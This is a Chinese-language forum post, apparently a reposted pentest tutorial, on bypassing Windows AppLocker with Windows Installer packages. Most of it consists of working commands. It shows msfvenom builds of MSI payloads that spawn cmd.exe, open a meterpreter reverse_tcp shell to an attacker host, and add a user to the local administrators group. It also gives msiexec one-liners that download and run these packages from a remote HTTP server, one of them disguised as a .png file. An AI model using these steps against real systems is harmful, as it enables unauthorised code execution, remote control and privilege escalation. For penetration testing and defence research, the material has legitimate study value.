taibeihacker
Moderator
0x00 前言
在我們之前的文章中,我們討論了“Windows Applocker策略- 初學者指南”,因為它們為應用程序控制策略定義了AppLocker規則,以及如何使用它們。但今天您將學習如何繞過AppLocker策略。在本文中,我們使用Windows AppLocker策略阻止了“cmd.exe”文件,並嘗試繞過此限制以獲得命令提示。0x01 Applocker适用的关联文件格式
Windows AppLocker是在Windows 7和Windows Server 2008 R2中引入的一種安全策略,用於限制不需要的程序的使用。在這種情況下,管理員可以限制以下程序的執行:
這完全取決於系統管理員,為程序限製或執行設置AppLocker策略的程序或腳本。可能會出現命令提示符(cmd.exe)、PowerShell或dll文件或批處理文件、rundll32.exe、regsrv.32或regasm等被阻止的情況

0x02 挑战1:使用.msi文件绕过Applocker获取CMD
假設您處於類似的情況,所有上述應用程序都被阻止,並且只允許Windows Installer文件(即.msi擴展名)運行而不受任何限制。那麼,您將如何使用一個msi文件來繞過這些限制並獲得一個完整的權限shell呢?
1.关于MSI文件的更多信息
MSI名稱來自程序的原始標題Microsoft Installer。從那以後,名稱改為Windows Installer。 MSI文件擴展名文件是Windows軟件包安裝程序。安裝程序包中包含Windows Installer安裝或卸載應用程序所需的所有信息。每個安裝包都包含一個.msi文件,其中包含安裝數據庫、摘要信息流和安裝不同部分的數據流。Windows Installer技術分為兩部分,它們結合使用,包括客戶端安裝程序服務(msiexec.exe)和Microsoft軟件安裝(msi)包文件。 Windows Installer使用包文件中包含的信息安裝該程序。
msiexec.exe程序是Windows Installer的組件。當安裝程序調用它時,msiexec.exe使用msi.dll讀取包(.msi)文件,應用任何轉換(.mst)文件,並合併安裝程序提供的命令行選項。安裝程序執行所有與安裝相關的任務,包括將文件複製到硬盤、修改註冊表、在桌面上創建快捷方式以及顯示對話框,以便在必要時提示用戶安裝首選項。
在計算機上安裝Windows Installer時,它會更改.msi文件的已註冊文件類型,以便在雙擊.msi文件時,Msiexec.exe將與該文件一起運行。
每個MSI包文件都包含一個關係型數據庫,該數據庫存儲在許多安裝腳步中安裝(和刪除)程序所需的指令和數據。
2.获取CMD的多种方法
(1).第一种方法:使用msfvenom生成恶意.msi文件
現在,讓我們在kali機器中打開一個新的終端,並生成一個惡意的msi包文件作為cmd.msi,通過使用windows/exec 執行exploit獲得命令提示,如下所示:msfvenom -p windows/exec CMD=cmd.exe -f msi cmd.msipython -m SimpleHTTPServer 80
現在在Windows計算機中傳輸cmd.msi文件,以獲得命令提示符shell作為管理員。這裡我們使用了python http服務器來共享網絡中的文件。

在本地計算機上下載.msi文件後,可以使用以下語法在命令提示符下運行帶有msiexec.exe的msi文件。
语法:msiexec /quiet /imsiexec /quiet /i C:\Users\raj\Desktop\cmd.msi

只要你在運行提示符中點擊上述命令,就會得到命令提示符。

(2).第二种方法:使用msfvenom生成恶意.msi文件
注意:即使您在另一個擴展名中重命名cmd.msi文件,它也會繞過該規則。重複以上步驟,生成一個與msfvenom具有相同payload、並命名為cmd.png的msi文件。因為我的kali中已經有了一個cmd.msi文件,所以我將它重命名為cmd.png,並使用python服務器來傳輸它

在本地計算機(管理員阻止cmd.exe的Windows操作系統)上下載cmd.png文件(實際上是.msi文件)後,就可以使用以下語法在運行提示符內使用msiexec.exe運行.msi文件。
语法:msiexec /q /i
msiexec /q /i http://192.168.1.107/cmd.png

只要你在運行提示符中點擊上述命令,就會得到命令提示符。

(3).第三种方法:使用msfvenom生成恶意.msi文件
在上述方法中,我們通過使用windows/exec payload獲得命令提示符,但現在我們將使用windows/meterpreter/reverse_tcp payload通過meterpreter會話獲得完全權限的命令shell。msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 –f msi shell.msi
現在再次在Windows計算機中傳輸shell.msi文件,以獲得命令提示符shell作為管理員並啟動multi/handler。這裡我們使用了python http服務器來共享網絡中的文件。

在本地計算機上下載了shell.msi文件(管理員阻止了cmd.exe的Windows操作系統)後,可以使用以下語法在運行提示符內使用msiexec.exe運行.msi文件。
语法:msiexec /q /i
msiexec /q /i http://192.168.1.107/shell.msi

只要您在運行提示符中點擊上述命令,您將通過使用此payload的meterpreter會話獲得命令提示。
msf use exploit/multi/handler
msf exploit(handler) set payload windows/meterpreter/reverse_tcp
msf exploit(handler) set lhost 192.168.1.107
msf exploit(handler) set lport 1234
msf exploit(handler) exploit
meterpreter shell

0x03 挑战2:使管理员组的本地用户成员
假設您處於類似的情況,所有上述應用程序都被阻止,並且只允許Windows Installer文件(即.msi擴展名)運行而不受任何限制。那么如何使用MSI文件绕过这些限制,使管理员组的本地用户成员阻止cmd.exe运行?注意:該aaru是本地用戶帳戶,不是非管理員用戶帳戶,如下所示:

我們知道由於applocker執行規則策略,cmd.exe在本地計算機上被阻止,因此我們無法使用命令提示符在管理員組中添加aaru。

(1).第四种方法:使用msfvenom生成恶意.msi文件
使用Windows/Exec payload生成MSI包作為admin.msi,該payload發送一條命令,指示將用戶aaru的本地管理員權限添加到目標計算機中。msfvenom -p windows/exec CMD='net localgroup administrators aaru /add' -f msi admin.msi
現在,在Windows計算機中傳輸admin.msi文件以將aaru添加到管理員組中。這裡我們使用了python http服務器來共享網絡中的文件。

下載完本地計算機的admin.msi文件(其中,admin阻止了cmd.exe的Windows操作系統)後,可以使用以下語法在運行提示符內運行帶有msiexec.exe的admin.msi文件
语法:msiexec /q /imsiexec /q /i http://192.168.1.107/admin.msi

只要您在運行提示符中點擊上述命令,就可以確保aaru用戶已成為管理員帳戶的一部分。

本文中我們將了解到,如何使用.msi文件來繞過操作系統策略限製而執行,在該系統中,cmd.exe和其他應用程序被管理員阻止。
参考文献:

Windows Installer - Win32 apps
Learn about the Windows Installer, versions 3.0 to 5.0, which is used to install applications or updates or services run on Windows.
support.microsoft.com

AppLocker – Case study – How insecure is it really? – Part 1
I often hear that AppLocker is not very safe and it is easy to bypass. Since I really like AppLocker and I recommend it to customers, I decided to do this blogpost series and go over the different …